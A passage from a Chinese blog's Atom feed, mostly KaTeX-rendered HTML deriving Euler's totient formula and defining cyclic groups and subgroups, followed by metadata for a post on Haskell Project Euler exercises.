class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">mn</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p><h4 id="一般情况">一般情况</h4><p>对于任意整数 n，存在唯一质数分解 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1973em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span>。由于这些素数幂相互之间是互质的，根据第 2 步，我们可以写出</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1973em;vertical-align:-0.2663em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>根据第 1 步，我们知道每个 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2079em;vertical-align:-0.2769em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4231em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2769em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。将它们代入上面的公式，我们得到</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.931em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p>这可以进一步简化为</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><h3 id="循环群">循环群</h3><p><strong>循环群</strong>是指能由单个元素所生成的群。设<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">⋅</span><span class="mclose">)</span></span></span></span>为一个群，若存在一个元素 ，使得 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">⟨</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose delimcenter" style="top:0em;">⟩</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">{</span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathbb">Z</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">}</span></span></span></span></span></span>，那么<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">⋅</span><span class="mclose">)</span></span></span></span> 形成循环群。群 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 内任意一个元素所生成的群都是循环群，而且是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 的子群。</p><blockquote><p>假设 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∗</span><span class="mclose">)</span></span></span></span> 是一个 群（group），若 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span></span></span></span> 是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 的一个非空子集（subset）且同时 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span></span></span></span> 与相同的二元运算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4653em;"></span><span class="mord">∗</span></span></span></span> 亦构成一个群，则 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∗</span><span class="mclose">)</span></span></span></span> 称为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∗</span><span class="mclose">)</span></span></span></span> 的一个 <a href="https://zh.wikipedia.org/wiki/%E5%AD%90%E7%BE%A4">子群</a>（subgroup）。</p></blockquote>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/project-euler/</id>
    <link href="https://www.blog-blockchain.xyz/fp/project-euler/"/>
    <published>2024-01-14T12:28:03.000Z</published>
    <summary>通过Project Euler经典数学问题练习Haskell编程，涵盖数论算法、质数筛选、递归优化等实战案例，提升函数式编程实际应用能力。</summary>
    <title>Haskell(六) Project Euler 练习1-26</title>
    <updated>2026-02-19T16:18:01.154Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
